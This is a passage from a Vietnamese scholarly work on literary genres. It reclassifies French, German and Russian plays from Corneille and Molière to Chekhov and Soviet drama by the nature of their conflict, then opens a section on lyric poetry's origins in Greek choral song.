Cả hai nhà soạn kịch đã xây dựng những vở kịch “tiểu thuyết” của “những đam mê bất hạnh”. Cornây viết “Mêđê”, Raxin viết “Baiadêta” và “Phêđra”. Chẳng hạn như trong “Baiadêta” cái âm mưu chính trị – việc uỷ quyền của quốc vương Hồi giáo Amurata cho người vợ của mình là Rôkxana giết người em của ông ta là Baiadêta là người có khả năng tranh ngôi báu – chỉ làm cái thắt nút xung đột. Còn về cơ bản trong vở kịch là những dục vọng chốn hậu cung: Rôkxana yêu Baiadêta và giết anh ta không phải theo lệnh của chồng, mà vì ghen tức người nữ tì Atalida là người yêu Baiadêta làm chàng quên đi tình yêu đối với Rôkxana – và cuối cùng chính Rôkxana lại chết vì bị ngờ vực bội bạc chồng. Xung đột rất mạnh nhưng trong đó không có bi kịch cũng không có kịch tính dân sự.
Khác với Cornây và Raxin, Môlier chủ yếu là tác giả hài kịch, nhưng từ đó không nên cho rằng ông chỉ viết các hài kịch. Thể loại chủ đạo trong sáng tác của ông quả thực như đã gọi là hài kịch “nghiêm trang” hay “cao cả” mà mẫu mực hơn cả là các vở “Táctuýt” và “Lão hà tiện” – hài kịch đích thực, tác phẩm của nhóm thể loại “phong tục”. Tính cách của Arpagông là sự biểu hiện trọn vẹn khát vọng làm giàu và rút ra từ đó thói hà tiện và tính bủn xỉn. Nhưng tính cách ấy không phát triển, không thúc đẩy tiến trình sự kiện mà chỉ biểu hiện cái thuộc tính bản chất của nó và đồng thời với sức mạnh gợi lên ở những người khác những bản tính tương tự như vậy. Arpagông làm bại hoại tinh thần gia đình mình và con cái ông ta, trong mức độ lớn nghiêng về việc phung phí tiền của, lừa dối và thậm chí trộm cắp. Đặc biệt tiêu biểu là những mối quan hệ của con người keo kiệt đối với con trai của mình là Klêông – kẻ muốn dành dụm ở ông ta những đồng tiền cho vay và tính rằng sẽ nhanh chóng nhận được của thừa tự. Bỗng nhiên, người bố vay của người con số tiền dưới hình thức bảo đảm bằng cái chết của mình.
Nhưng trong những vở kịch của Môlier có một số vẫn thường được xem là hài kịch mà thực chất lại là kịch sinh hoạt “nghiêm trang”. Chẳng hạn như các vở “Đông Gioăng” và “Kẻ chán đời”. Vở thứ nhất rất khác những vở hài kịch khác của Môlier không chỉ bởi được viết bằng văn xuôi và ở trong nó không tuân thủ sự duy nhất về địa điểm và thời gian mà trước hết là bởi sự kiến giải tính cách nhân vật chính.
Gioăng là người dâm đãng và vô liêm sỉ, láo xược và độc tài, quyến rũ đàn bà, ham thích khoái lạc. Nhưng đồng thời y lại được miêu tả là đại biểu xuất sắc của giới quý tộc – đẹp đẽ, dũng cảm, có khả năng suy nghĩ sâu sắc và đúng đắn, vạch trần công khai những thói xấu của riêng mình cũng như của toàn bộ tầng lớp mình.
Cái chủ yếu là ở chỗ tính cách của Đông Gioăng được trình bày trong sự thay đổi, trong sự phát triển. Tin tưởng vào sự không bị trừng phạt của mình, y ngày càng suy thoái về mặt tinh thần. Y không tin thần thánh nhưng khi sự trừng phạt và cái chết đe doạ, thì y trong khi hướng tới tước bỏ vũ khí kẻ thù của mình lại viện đến sự bảo vệ tôn giáo và chuyển thành kẻ giả nhân giả nghĩa, đánh mất đi lòng quá tự tin trước đây của mình. Y có thể bằng con đường đó thoát khỏi sự trừng phạt trần gian, còn sự trừng phạt thiên đình chỉ có tính tượng trưng, tạo nên sự tháo nút “hợp chuẩn” của cốt truyện truyền thống mới chấm dứt sự phát triển tiếp tục tính cách của y. Nói cách khác, với tất cả tính châm biếm của cảm hứng mô tả, chàng Đông Gioăng mang tính chất Môlier là tính cách tiểu thuyết, đó là nhân vật chính kịch.
Ở một mức độ lớn hơn điều đó có thể nói về vở “Người chán đời”. Vở kịch này của Môlier với khuynh hướng tư tưởng cơ bản của mình dễ làm nhớ đến tiểu thuyết châm biếm Đông Kisốt của Xervantex. Anxext giống như Đông Kisốt là người tốt bụng nhưng đồng thời gây buồn cười vì sự tốt bụng đó. Chàng là kẻ thù của tính ích kỷ, giả nhân giả nghĩa, thói bợ đỡ, nịnh hót đang thống trị trong lối sống của xã hội quý tộc. Chàng là người bảo vệ danh dự, sự thật, sự công bằng, dũng cảm đứng ra cương quyết chống lại những thói xấu của hoàn cảnh thù địch với chàng.
Nhưng Anxext là người đơn độc, những lý tưởng của chàng không dứt khoát rõ ràng, chàng mất cảm nhận về mức độ, thường công phẫn vì những điều vặt vãnh, bắt bẻ những chuyện nhỏ nhặt, tuyên truyền đức hạnh cho những người thấp kém. Khi tiến hành xử kiện về những vấn đề tài sản, chàng sẵn sàng chịu mất nó, chỉ tập trung tuân theo luật pháp và sự công bằng. Khi ghen tức cô tình nhân Xelimena, chàng không biết giãi bày cùng nàng và hiểu sự giả dối của nàng. Đó là mâu thuẫn giữa lý tưởng, tình cảm cao cả và tính nhỏ nhen của việc thực hiện chúng, tạo nên cái hài trong tính cách của Anxext. Mâu thuẫn của chàng với xã hội dần dần mạnh lên, nhân vật ngày càng trở nên người chán đời và cuối cùng đi tới quyết định từ giã thủ đô để “tìm người một góc trên trái đất” nơi “con người trung thực có thể sống tự do”. “Người chán đời” – đó là vở kịch “tiểu thuyết” “nghiêm túc” của Môlier.
Đồng thời cả với Cornây và Môlier, giống như Lốp đơ Vêga, họ đã viết một loạt vở kịch cũng thường được gọi là hài kịch nhưng thực chất là những kịch “tiêu khiển” – lịch sử có tính tiểu thuyết, được dựng để diễn trên cơ sở những phiêu lưu tình ái. Như các vở “Mêlita”, “Người đàn bà góa hay là người chồng bị vợ vờ bỏ”, “Hành lang tòa án hay Người bạn gái tình địch”, “Người nữ tì vui nhộn”, “Quảng trường nhà vua hay người tình ngông cuồng” của Cornây và các vở “Xích mích tình yêu”, “Xganarel hay người chồng bị vợ vờ bỏ” và những vở kịch “nghiêm trang” như “Bài học cho các bà vợ”, “Bài học cho các ông chồng” cũng như “Gioóc Đanđen hay là người chồng bịp bợm” của Môlier.
Vở kịch cuối cùng cốt truyện rất gần gũi với “Kẻ tiểu thị dân trong giới quý tộc” nhưng về thể loại thì chúng khác nhau. Tính cách của Giuarđen ở trong trạng thái tĩnh. Đó là một gã tiểu thị dân sống hoàn toàn theo nề nếp sinh hoạt gia đình đã được hình thành nhưng lại muốn bước vào giới quý tộc. Để làm điều đó gã mặc áo khoác kiểu quý tộc, muốn tập được phong thái quý phái và học nhảy trong khi lại tự bộc lộ trong đó sự thô kệch và đần độn của mình, gợi sự khinh bỉ của những ông thầy của mình và những người bạn giả vờ từ giới quý tộc. Còn tính cách của Đanđen thì được trình bày trong bình diện năng động khác. Theo cái thói kiêu ngạo tiểu thị dân của mình, khi muốn nhận được tước vị, hắn kết hôn với con gái vị nam tước bị khánh kiệt Xôtanvin – kẻ muốn nhận được tiền của Đanđen. Và gia đình quý tộc khinh bỉ chàng rể và vợ của Đanđen là Angienlika không yêu hắn và phản bội hắn. Tiến trình sự kiện của vở kịch nằm trong cuộc đấu tranh không cân xứng giữa Đanđen vì danh dự gia đình của mình, trong những nỗ lực vô ích vạch tội vợ phụ bạc, trong khi chịu nhục và nhạo báng hắn không ý thức được toàn bộ sự ngu ngốc của việc hắn đã làm khi thốt lên với sự mỉa mai cay đắng: “Mày đã không muốn điều đó, Gioóc Đanđen!”. Đó là sự tháo nút của vở kịch sinh hoạt gia đình.
Như vậy thành phần thể loại của nghệ thuật kịch chủ nghĩa cổ điển Pháp phức tạp hơn nhiều so với người ta thường hình dung nó khi chia tất cả làm bi kịch và hài kịch.
Trong nửa sau thế kỷ XVIII, kịch sinh hoạt gia đình ở Pháp dựa trên âm mưu tình ái đã tiếp tục phát triển. Nhưng khi được xây dựng bởi các nhà văn với những đặc điểm thế giới quan khác nó ngày càng ít bộc lộ nhiệt hứng châm biếm trong tư duy đời sống mà ngày càng tăng đầy thêm những môtíp tình cảm. Vì vậy người ta thường gọi nó là “hài kịch tình cảm” hoặc gọi trong quan hệ thể loại một cách chính xác hơn là “kịch tiểu thị dân”. Những người viết kịch lớn nhất của thể loại này là F. Đêtus, N.đơ Lasôxê và P. Marivô.
Trong sáng tác của P. Marivô kịch sinh hoạt gia đình đã đạt được sự tinh tế lớn trong khám phá tâm lý các tính cách. Người kế tục mãi về sau của truyền thống thể loại này trong văn học Phục hưng Pháp là Đ.Điđrô với các tác phẩm của mình “Đứa con trai thứ yếu”, “Người cha của gia đình”, và cả Vônte trong các tác phẩm “Phá gia chi tử”, “Nanhina”, “Quyền chúa đất”, “Người phụ nữ Xcốtlen”. Cạnh những vở kịch ấy Vônte đã viết những vở kịch “lịch sử – xã hội ” (“Tankred”, “Ôlimpia”, “Đông Pêđrô”) và cả những bi kịch nghĩa vụ và danh dự (“Êđip”, “Brút”, “Cái chết của Xêda”, “Đaira”, “Những người Xkif”) và các bi kịch chuyên chế quyền lực (“Môhômet – nhà tiên tri”, “Xêmiramiđi”, “Ghêbra hay là sự cố chấp”) và những vở kịch “dục vọng bất hạnh” (“Aldira hay những người Mỹ”, “Ađêlaiđa Điugheklen”).

4
Nghệ thuật kịch của chủ nghĩa lãng mạn công dân ở Đức, Nga, Pháp cũng vậy, dĩ nhiên đều đã bị cuốn hút về những thể loại “cao quý “. Tất cả đều thường xem chúng là “bi kịch”, rất rõ ràng vì sự có mặt của đề tài lịch sử chính trị và những giải quyết các xung đột gắn với cái chết. Nhưng phần lớn nổi trội hơn cả là những kịch chính trị, thường gắn với cảm hứng anh hùng biểu hiện một cách rực rỡ.
Chẳng hạn như trong “Ghex phôn Berlixighen” của Gớt diễn ra cuộc đấu tranh của đẳng cấp hiệp sĩ có tinh thần tiến bộ chống lại các quân vương và bọn con buôn vì sự thống nhất nước Đức trong bối cảnh các phong trào nông dân mới khởi đầu. Nhưng không có chút gì là bi kịch mở ra cuộc đấu tranh của cá nhân với “siêu nhân”, không phải ở chỗ vì sự non yếu lực lượng mà Ghex lúc đầu đành phải phòng thủ trong pháo đài riêng, còn sau đó khi đã liên kết với đội nông dân, bị thương trong chiến trận, bị bắt làm tù binh của người bạn cũ của mình mà về sau là kẻ thù riêng Vâyxlinghen, phải nhận từ hắn bản án tử hình. Ở đây cá nhân đứng trên phương diện những lực lượng xã hội chống lại những thế lực khác thù địch, còn kết quả của cuộc đấu tranh thì phụ thuộc vào quan hệ chung của các lực lượng và tất nhiên là vào những sự ngẫu nhiên khác nhau.
Cũng như vậy trong vở “Vallenstâyn” của Siller, nhân vật chính của vở kịch phản bội lại đế chế Thiên chúa giáo, chuyển sang phía những người theo đạo Tin lành thống nhất, mơ ước trở thành vua Bôhemi, cam chịu thất bại trước lực lượng bên ngoài – từ âm mưu dần dần chín muồi giữa những tư tưởng của riêng mình không muốn ủng hộ sự phản bội đó. Giống như vậy trong vở “Egmont” của Gớt, người anh hùng lãnh đạo những người lính và thợ thủ công Hà Lan ước muốn giải phóng dân tộc, đã chiến thắng quân Tây Ban Nha nhưng sau đó đã hy sinh vì lòng tin ngây thơ vào kẻ thù hung ác của mình – quận công Alber. Cũng như Karl Moor trong “Những kẻ cướp” của Siller, vốn được sinh ra và nuôi dưỡng trong đẳng cấp quý tộc, đã ủng hộ phong trào của tầng lớp dưới xã hội và tuyên bố lý tưởng cộng hòa, nhưng bị thất bại bởi vì đứng lên như một người đứng đầu đơn độc lãng mạn nhiệt tình, xa cách nhân dân và tự mình sau đó hiểu ra sự không tránh khỏi việc chấp nhận dung hòa. Những nhân vật khác của Siller như Đông Karlxôt, Maria Xtiuart, Vilhem Tell – cũng là những người tham gia vào xung đột bên ngoài của những lực lượng chống đối lẫn nhau – các đảng quý tộc, các triều đại, các phong trào chính trị.
“Âm mưu của Phiexkô”, “Thiếu nữ Orlêan” và “Âm mưu và tình yêu” của Siller – đó thực sự là những bi kịch danh dự và trách nhiệm theo các đặc điểm xung đột và cảm hứng; mặc dù chúng lại thuộc về nhóm thể loại khác nhau (hai vở đầu – thuộc nhóm “lịch sử dân tộc”, vở thứ ba – thuộc nhóm tiểu thuyết) nhưng đều biểu hiện những mâu thuẫn trong tâm hồn các nhân vật chính. Ở Phiexkô đó là mâu thuẫn bên trong giữa khát vọng của anh ta nhằm tiêu diệt nền bạo chúa vì những nguyên tắc cộng hòa và những khuynh hướng bạo hành và vị kỷ riêng của anh ta, còn ở Ioanna là giữa lời thề ước đầy hào hứng của nàng với bề trên là hiến dâng tất cả sức lực để cứu tổ quốc, khước từ tình yêu và hạnh phúc cá nhân với lửa tình của nàng đối với kẻ thù Tổ quốc là Liônhel; còn ở Pherđinanđ là mâu thuẫn giữa tình cảm danh dự của chàng, thể hiện trong tình yêu đối với Luidơ, với những đòi hỏi của người cha – tể tướng của mình: bắt chàng lấy người yêu của vua làm vợ.
Còn một rắc rối lớn của những dấu hiệu thể loại xảy ra trong việc nghiên cứu nghệ thuật kịch của chủ nghĩa lãng mạn Pháp. Khi hướng tới nhấn mạnh phong cách lãng mạn mới của kịch V.Huygô và A.Đuyma, một số nhà nghiên cứu đã gọi chúng là “kịch lịch sử” trong sự phân biệt với các “bi kịch” cổ điển thời xưa. Nhưng về thực chất, sáu vở kịch của Huygô – từ “Crômoen” đến “Riui Bald” – là những bi kịch của sự độc đáo và yếu đuối của quyền lực, trong đó phơi bày hoặc là sự suy đồi của chính thể cộng hòa (Crômoen) hoặc là thói độc đoán nghiêm khắc quá quắt và sự sa đọa của chính quyền chuyên chế, lạm dụng nghĩa vụ chung dân tộc của mình làm lộ ra những sự đau đớn tổn thất bất hạnh của nó (như tất cả các bi kịch khác).

5
Nghệ thuật của chủ nghĩa lãng mạn cách mạng Nga cũng hướng về loại bi kịch như vậy (“Bôrix Gôđunôv” của Puskin) nhưng cũng hướng cả về kịch lịch sử (“Arghivian” chưa hoàn thành của Kiukhelbêker, đề cương vở “Năm 1812” của Gribôeđôv). Puskin nối tiếp những người đi trước đã viết liền vở kịch trong dấu hiệu thể loại của chúng mà chính ông đã dao động và chúng đã nhận được cái tên gọi là những “bi kịch nhỏ”. Định nghĩa ấy có đúng không? Trong “Hiệp sĩ hà tiện” miêu tả sự xung đột của cha và con vì quyền lợi tiền bạc, trong đó người cha bần tiện không hề có một chút tình cảm trách nhiệm gia đình trước người con nhưng ở người con thì có sự kính trọng cha. Vì vậy cho nên trong cái chết của nam tước Philip không hề có chút bi kịch nào trong xung đột ấy. Cũng có thể nói như vậy về vở “Môxart và Xaler”. Ở đó một nhạc sĩ với tài năng lý trí yếu ớt đầu độc một cách từ từ và lạnh lùng người khác – một đối thủ thiên tài của mình, trong khi che dấu lòng ghen tị của mình bằng sự luận bàn cao cả về số mệnh nhạc sĩ. Cả hai tác phẩm ấy đều là kịch tâm lý. Còn vở “Người khách sắt đá” giống vở “Đông Gioăng” của Môlier, mô tả sự tiến triển tính cách nhà quý tộc, thoạt đầu với lòng tự phụ tràn đầy ăn chơi trác táng nhưng cuối cùng tự đánh mất lòng kiêu căng ấy. Ở Puskin điều đó diễn ra theo một nguyên nhân khác, bởi vì ngài Đông Hoan lần đầu tiên sau nhiều năm phiêu lưu vô lo, lại xúc động vì tình cảm riêng cao thượng đối với cô Anna, khiến đạo đức hồi sinh, trong đó không hề có chút gì bi kịch. Nhưng trong những vở kịch này, những anh chàng đó vẫn còn những thói quen táo tợn ngày xưa, và vì những thói quen đó, họ đã chết một cách tượng trưng, theo truyền thống của cốt truyện du nhập. Chỉ có vở “Đại yến trong thời dịch hạch” cần phải thừa nhận là bi kịch theo nội dung thể loại của mình, bởi trong tâm hồn Valxingam diễn ra cuộc đấu tranh nặng nề giữa tình yêu đối với người vợ quá cố là Matinđa – một tình yêu chứa trong nó nguyên lý đạo đức tôn giáo “siêu nhân” cao cả với lời thách thức mang tính nhân đạo, tự hào, “không có chúa trời” đối với cái chết, đã vang lên trong bài ca của vở kịch. Không có giải pháp nào cho cuộc đấu tranh bi kịch ấy trong cốt truyện của vở kịch, nhưng vở kịch vẫn không mất chiều sâu và sức mạnh của mình.
Hài kịch của Gôgôn không có nghi ngờ gì trong đặc điểm thể loại của mình. Nhưng những vở kịch của Ôxtrôpxki mà hầu hết đều xem là “hài kịch” lại rất cần xem xét lại ít nhiều từ quan điểm này. Từ rất sớm những vở kịch trước cải cách của ông hiện rõ trong phần lớn của mình cái mâu thuẫn rõ ràng giữa tình cảm yêu đương dưới chính thể chuyên chế cả những kẻ mà họ phải phụ thuộc hoàn toàn – với sự giải thích “có tính đạo lý người cầm bút” bởi các nhà văn có xung đột ấy trong cốt truyện tác phẩm – bằng sự chuyển hóa chúng thành phương tiện vạch trần những tập quán xấu của giới quý tộc hay giới con buôn tiểu thị dân. Chỉ có vở “Giông tố” viết vào thời cao trào xã hội, tính bi đát của xung đột trở thành độc lập và theo những đặc điểm của tính cách nữ nhân vật chính, đã trở thành bi kịch sinh hoạt gia đình.
Cũng tương tự như vậy, muộn về sau Ôxtrôpxki đã hướng tới thay đổi sự giải thích thể loại “phong tục” của các xung đột. Nhưng chính xác xung đột đã thay đổi: chính thể quyền uy của những người lớn tuổi được củng cố bởi tôn giáo và truyền thống đã bị sa sút nhường chỗ cho quyền lực của đồng tiền, việc đấu tranh phản kháng chống lại nó đã trở nên dễ dàng. Vì thế nhiều vở kịch của nhà soạn kịch thời kỳ cải cách có kết thúc tương đối thuận lợi, đã được tiếp tục trông có vẻ “hài kịch” mà thực chất lại là kịch sinh hoạt xã hội. Sự giải thích mang “tính đạo đức nhà văn” của các tính cách ngày càng chỉ là cái bối cảnh của hành động, còn chính cái xung đột được triển khai trên bối cảnh đó đã tăng thêm âm hưởng bi đát cho vở diễn. Trong mức độ lớn hơn điều đó liên quan đến các vở “Rừng”, “Trái tim nồng nhiệt”, “Những đồng tiền phù vân”, “Chó sói và cừu”, “Những tài năng và những người ái mộ”. Tất cả về thực chất là những vở kịch sinh hoạt xã hội trong đó những kết thúc tương đối thuận lợi đạt được hoặc là khuynh hướng thỏa hiệp từ phía của chính các nhân vật (ví dụ tiêu biểu là Xasenka Nhêghina trong “Những tài năng và những người hâm mộ”) hoặc là của chính tác giả (ví dụ tiêu biểu là những đồng tiền có sẵn trong túi người nghèo quá hào phóng với nghệ sĩ Bất hạnh đã tạo cho Akxinhia lối thoát khỏi tình trạng nô lệ nặng nề). Sự thiếu vắng những sự nhượng bộ như vậy đã dẫn đến kết thúc có tính bi đát dữ dội như nó đã xảy ra trong “Cô gái không có của hồi môn”.
Trong mươi năm liền sau đó những vở kịch lớn của Sêkhốp đã cho chúng ta một câu đố về thể loại. Vở đầu tiên trong số đó là “Ivanôv”. Nó đúng là vở kịch xã hội, không phải bởi nhân vật của nó tự sát trong hành động cuối, mà vì trong tính cách của nó diễn ra sự tiến triển từ những khát vọng tự do tiến bộ cao cả đến sự tuyệt vọng và sự khủng hoảng đạo đức nặng nề, là tuyến chủ đạo của cốt truyện. Nhưng sau đó, trong ghi nhận về thể loại kịch, nhà văn đã do dự: Ông gọi “Chim hải âu” là hài kịch, “Cậu Vanhia” là “những vở diễn từ đời sống nông thôn”, “Ba chị em” là “chính kịch” (rõ ràng là bởi vì trong hành động cuối cùng Tudenbăk đã chết trong cuộc đấu súng) còn “Vườn anh đào” trong đó không có ai chết, là “hài kịch”.
Nhưng thực sự là, chính “Chim hải âu” còn có thể gọi là chính kịch bởi vì trong đó diễn ra sự chuyển biến từ nguyên tắc xưa cũ của một xung đột tình yêu duy nhất làm phát triển tính cách của các nhân vật chủ yếu (ở đây nó đã mang đến cho vở diễn một ý nghĩa lớn) đến nguyên tắc mới của phát triển hành động mà nó nhận được một ý nghĩa hoàn toàn phổ biến được bắt đầu từ “Cậu Vanhia”.
Nguyên tắc đó nằm ở chỗ, trong cốt truyện kịch, xuất hiện, đan bện và không có kết thúc của một số âm mưu, vốn chỉ phơi bày cái bề ngoài và sự không vừa lòng sâu sắc bên trong và sự thất vọng trong cuộc sống của tất cả các nhân vật chính, và sự không vừa lòng ấy, về thực chất, là những quan hệ, không phải trong đời sống tách biệt cá nhân mỗi người, mà với tình trạng nặng nề của tất cả họ với nhau, nói một cách tượng trưng – là toàn bộ giới trí thức quý tộc và dân chủ tự do Nga và thậm chí rộng hơn là tình trạng khủng hoảng của toàn thể xã hội Nga. Trong vở diễn thường xuyên thay đổi sắc thái vui, buồn, thất vọng, mơ mộng, chúng tạo nên không khí trữ tình chung, phản ánh hầu như đường hầm không lối thoát của toàn bộ đời sống xã hội dân tộc, mặc dù có sự khao khát lao động, có niềm tin vào một cuộc sống tốt hơn nào đó từ phía một số nhân vật. Tất cả điều đó làm cho ba vở cuối cùng của Sêkhốp giống nhau về mức độ hài kịch trữ tình, mặc dù trong chúng nỗi buồn và nước mắt nhiều hơn tiếng cười, còn tiếng cười thậm chí làm nổi bật nước mắt.
Với toàn bộ điều đó, Sêkhốp đã là một nhà viết kịch – cách tân vĩ đại và sự đổi mới ấy của ông khiến ta cảm nhận được trong nghệ thuật kịch Nga cho đến ngày nay.
Chịu nhiều ảnh hưởng của sự cách tân ấy M.Gorki đã viết những vở kịch đầu tiên của mình khi biểu lộ ở đó một nhiệt hứng khác của nhận thức cuộc sống, nhưng theo cách của mình vẫn vận dụng những nguyên tắc cốt truyện thể loại mà Sêkhốp đã khám phá. “Những kẻ tiểu thị dân”, “Dưới đáy”, “Những người đi nghỉ ở nhà nghỉ” – đó là những hài kịch sinh hoạt xã hội. Chỉ trong thời kỳ cách mạng những năm 1905 – 1906, đồng thời với “Người mẹ”, Gorki đã xây dựng vở kịch chính trị “Những kẻ thù”, mô tả xung đột của công nhân với các chủ xí nghiệp và chính quyền chuyên chế. Vở kịch này phục vụ cho sự khởi đầu phát triển thể loại này trong nghệ thuật kịch thời đại sau cách mạng.
Trong thời đại đó, những vở kịch riêng lẻ không phải luôn tìm được cho mình sự chuẩn xác nhưng đôi khi cũng có được ý nghĩa thể loại xác định chung nào đó. Chẳng hạn như tác phẩm “Liubốp Iarôvaia” của K. Trênhêv có phụ đề “kịch”. Rõ ràng tác giả đã không dám nói lên một cách rõ ràng hơn. Nhưng tác phẩm của ông là một vở kịch chính trị. Sự vơi dần trong tính cách của Liubốp những khả năng của xung đột bi kịch giữa tình cảm của cô đối với chồng và sự trung thành của cô với phong trào cách mạng được tác giả làm dịu bớt đi đã không nhận được một sự phát triển cốt truyện nào.
Vx. Visnhevxki đã gọi vở kịch nổi tiếng của mình là “bi kịch lạc quan”, bằng cách đó đã bao hàm một sự xác định thể loại trong tên gọi của vở kịch. Nhưng sự xác định ấy không phù hợp với nội dung vở kịch. Trong cốt truyện của nó mô tả cuộc đấu tranh anh dũng của những người ủy viên bônsêvich với tư tưởng vô chính phủ của các thủy thủ chiếm hạm do kẻ đứng đầu của họ xúi giục trong bối cảnh chung của cuộc đấu tranh giữa các đội bạch vệ và hồng quân. Đó là xung đột của hai trận tuyến chính trị, trong quá trình ấy người nữ uỷ viên đã bắt đầu đạt được thắng lợi hoàn toàn trước cuộc nổi loạn vô chính phủ trong đám thuỷ thủ nhưng cuối cùng bị hy sinh bởi bàn tay kẻ thù. Trong xung đột ấy, với tất cả sức mạnh và ý nghĩa lớn lao của nó, thật ra không có chút gì của cái bi kịch với ý nghĩa thể loại văn học sử của từ và “bi kịch lạc quan” là một vở kịch cùng loại như “Liubốp Iarôvaia”. Cũng có thể nói như vậy về “Chiến bại” của B.Lavrenhev.
Cùng thể loại như vậy, có nhiều vở kịch phản ánh những sự kiện của cuộc chiến tranh vệ quốc vĩ đại. Chẳng hạn như ‘Tiền tuyến” của Kornhâytruk hay “Xâm lược” của Lêônôv (chỉ có điều tính cách của Phêđor Talanôv được tác giả phác họa một cách mờ nhạt và không cho phép nêu ra kết luận cuối cùng về nó). Vở “Liônuska” cũng của ông được gọi là “bi kịch nhân dân” một cách thiếu cơ sở vững chắc, vở “Những người Nga” của Ximônôv, vở “Bài ca về những chiến binh Hắc hải” của B.Lavrenhev, được gọi một cách hoàn toàn chính xác là “kịch anh hùng”, vở “Con rồng” của E.Svarex với khuynh hướng châm biếm của nó, và những vở kịch lịch sử theo hệ đề tài của chúng của A.N.Tônxtôi như “Đại bàng và đại bàng mái” và “Những năm gian khó” cùng một loạt những tác phẩm tương tự.
Trong kịch Xô Viết không ít những vở sinh hoạt – gia đình như “Tanhia” và “Câu chuyện Irkut” của A.Arbudôv. Ngoài ra còn có những vở có nội dung thể loại hài kịch mang cảm hứng châm biếm như vở “Nhà tắm hơi”, “Con rệp” của V.Maiakôpxki, “Những người tốt bụng” của L. Đorin cùng nhiều vở khác hoặc mang khuynh hướng khẳng định – tư tưởng như “Hình tròn” của V.Kataev, “Hợp kim kỳ diệu” của V.Kirson, “Thôi được” của K.Ximônôv v.v… Trong kịch Xô viết có hay không những kịch phẩm có thể được gọi là bi kịch thực sự, vấn đề này còn cần phải tiếp tục nghiên cứu.
Như vậy mặc dù có những khó khăn xuất hiện do tên gọi thể loại các tác phẩm kịch vốn theo truyền thống là dựa trên những đặc điểm cảm hứng chứ không phải xung đột, chúng tôi đã cố gắng trình bày khả năng hoàn toàn có thể phân loại thể loại những tác phẩm ấy theo những nguyên tắc mà chúng tôi đã áp dụng đối với tự sự.
Vậy có thể áp dụng những nguyên tắc ấy đối với trữ tình hay không?

VI. THỂ LOẠI TRONG TRỮ TÌNH
1
Việc phân chia các nhóm thể loại kịch tiếp theo sự phân chia tương tự các thể loại trong tự sự không đại diện cho những khó khăn lớn của việc phân chia thể loại. Tự sự và kịch giống nhau về nhiều mặt. Đặc trưng nhận thức đời sống xã hội trong sự tồn tại của nó – trong những hoạt động, quan hệ của mọi người, diễn ra trong không gian và thời gian, những cá nhân riêng lẻ, những nhân vật và những sự kiện được hình thành từ hành động của các nhân vật trong những điều kiện đời sống bên ngoài xác định, đều được miêu tả như nhau ở cả hai thể loại.
Trữ tình là một cái khác: ở đó có một bản chất khác. Nó hiểu thấu đặc tính thế giới bên trong của đời sống con người, hiểu quá trình những rung động tư duy – cảm xúc là quá trình luôn được gợi lên bởi những hiện tượng thế giới bên ngoài và hướng vào thế giới bên trong, xuyên thấm qua thế giới đó, đôi khi lại hòa tan hoàn toàn trong đó đến nỗi thường không hiện rõ tính rõ ràng về thời gian – không gian của mình. Trữ tình là một biến thể đa dạng chuyển tiếp, xen lẫn vừa trầm tư – trừu tượng, vừa mô tả – cụ thể và thậm chí có cả trần thuật.
Vì vậy nhiệm vụ phân biệt trong các tác phẩm trữ tình những đặc trưng thể loại, những nhóm thể loại như chúng tôi đã tìm thấy trong tự sự và kịch có thể gặp những khó khăn gấp bội. Dẫu sao chúng tôi vẫn cố gắng thực hiện nhiệm vụ ấy và vận dụng một nguyên tắc thống nhất phân loại trong tất cả ba loại văn học. Dĩ nhiên trong đó, giữa vô số tác phẩm thi ca trữ tình, mặc dù chỉ trong văn học châu Âu, trong một chừng mực nhỏ hơn chúng tôi sẽ có thể theo đúng tính liên tục theo các thể loại mà từ đó đã xuất phát xem xét các thể loại tự sự và kịch.
Hiển nhiên là những hiện tượng ngôn từ có nhịp điệu bài ca cổ xưa nhất, đầu tiên mang tính lịch sử là được ghi lại bằng lời nói trong những vận động tập thể có tính chất nhảy múa, đã mang tính chất trữ tình. Chính trong bài hát nghi lễ đồng ca trữ tình có nội dung thần thoại, dần dần xuất hiện người lĩnh xướng kể chuyện và đối thoại kịch. Nhưng chúng không thay thế và không gạt bỏ bè trữ tình riêng biệt của dàn đồng ca vốn vẫn phát triển tiếp tục và đã sản sinh ra trữ tình độc tấu sau đó.
Những bài hát trữ tình đơn ca và đồng ca với các môtíp thần thoại khác nhau – vật tổ (tô tem), lịch biểu, quan niệm vũ trụ, sinh hoạt cùng với những chuyện thần thoại và những buổi diễn kịch tạo thành nhóm thể loại thích hợp, tồn tại trong những kiểu khác nhau của sáng tác truyền miệng của tất cả các dân tộc. Những bài “tụng ca” thần Điônix long trọng thời cổ đại Hy Lạp và những bài hát Nga “nàng xuân” giản dị là loại như vậy. “Mùa xuân rực rỡ, – Đến trên cái gì? – Trên cày, trên bừa – Trên ngựa, quạ khoang” v.v… Những bài hát ấy hầu như lưu giữ lại âm vang cuối cùng những truyền thống cổ xưa của trữ tình có tính nghi lễ trước thời đại chúng ta.
Nhưng dù xuất hiện trên cơ sở thần thoại, thể loại trữ tình – đồng ca và đơn ca – mà sau này mang một nội dung thể loại khác. Nội dung ấy là như thế nào và xuất hiện bao giờ? Với những câu hỏi này thì tốt nhất là tìm câu trả lời một lần nữa trong văn học cổ đại, trước hết là trong cổ đại Hy Lạp, nơi mà ở đó đã bắt đầu sớm nhất phân chia những thể loại trữ tình riêng lẻ, đồng thời nhận được những dấu hiệu thuật ngữ phù hợp còn lưu giữ lại phần nào đến ngày nay.
Cần phải chú ý trước hết đến trữ tình đồng ca mà phần lớn lưu giữ được trong mình các truyền thống những bài hát – múa nghi lễ. Nó tương tự những bài hát sử thi aeđốp, chắc là từ rất sớm đã tràn đầy nội dung “lịch sử – dân tộc”. Mặc dù những kiểu mẫu đầy đủ của trữ tình với nội dung thể loại như vậy được truyền lại cho chúng ta chỉ từ nửa đầu thế kỷ thứ V trước công nguyên (đó là “Epinhiki” – (bài ca về thắng lợi) của Pinđar) nhưng không nghi ngờ gì rằng chúng đã tiếp tục truyền thống xa xưa và trữ tình đồng ca anh hùng ca – truyền miệng đầu tiên – cũng đã tồn tại rất lâu trước Pinđar. Nhưng trước chúng ta, cách này hay cách khác, là sự xuất hiện nhóm thể loại trữ tình mới là những bài hát ca ngợi những người chiến thắng trong các cuộc xung đột bộ tộc và những bài hát dâng tặng các anh hùng đã hy sinh trên chiến trận (như Ximônhid Keôxki đã ngợi ca những người Hy Lạp đã ngã xuống ở Phermôpin) và muộn hơn là những bài hát và thơ ca ngợi khen lòng dũng cảm của những người chiến thắng trong các cuộc thi đấu thể thao như ở Pinđar.
